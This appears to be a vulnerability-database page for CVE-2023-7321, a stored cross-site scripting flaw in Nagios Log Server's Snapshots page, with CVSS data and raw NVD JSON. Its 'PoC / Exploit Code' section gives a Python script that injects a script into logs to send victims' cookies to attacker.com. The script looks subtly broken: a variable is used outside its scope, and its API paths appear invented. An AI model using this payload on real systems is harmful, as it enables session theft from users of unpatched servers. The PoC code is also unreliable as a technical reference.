Security Vulnerability Report
中文
CVE-2023-7321 CVSS 5.4 MEDIUM

CVE-2023-7321

Published: 2025-10-30 22:15:44
Last Modified: 2025-11-05 18:21:01

Description

Nagios Log Server versions prior to 2.1.14 are vulnerable to cross-site scripting (XSS) via the Snapshots Page. Untrusted log content was not safely encoded for the output context, allowing attacker-controlled data present in logs to execute script in the victim’s browser within the application origin.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:* - VULNERABLE
Nagios Log Server < 2.1.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2023-7321 PoC - Nagios Log Server XSS via Snapshots Page TARGET = "http://target-nagios-log-server.local" USERNAME = "low_privilege_user" PASSWORD = "password123" def login(): """Authenticate to Nagios Log Server""" session = requests.Session() login_url = f"{TARGET}/api/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=data) return session if response.status_code == 200 else None def inject_xss_payload(session): """Inject XSS payload into log content""" xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" log_data = { "log_entry": xss_payload, "source": "test_source" } # Submit log with XSS payload api_url = f"{TARGET}/api/v1/logs/ingest" session.post(api_url, json=log_data) print("[+] XSS payload injected into logs") def trigger_victim(session): """Trigger XSS by accessing Snapshots page""" snapshots_url = f"{TARGET}/snapshots" response = session.get(snapshots_url) if xss_payload in response.text: print("[+] XSS payload reflected in Snapshots page") print("[+] Payload will execute when victim views the page") return response if __name__ == "__main__": print("CVE-2023-7321 PoC - Nagios Log Server XSS") session = login() if session: inject_xss_payload(session) trigger_victim(session) else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-7321", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:44.063", "lastModified": "2025-11-05T18:21:01.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Log Server versions prior to 2.1.14 are vulnerable to cross-site scripting (XSS) via the Snapshots Page. Untrusted log content was not safely encoded for the output context, allowing attacker-controlled data present in logs to execute script in the victim’s browser within the application origin."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.1.14", "matchCriteriaId": "209FE128-8997-4AED-952C-615CCD899D78"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-log-server-2024r1/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-log-server-xss-via-snapshots-page", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}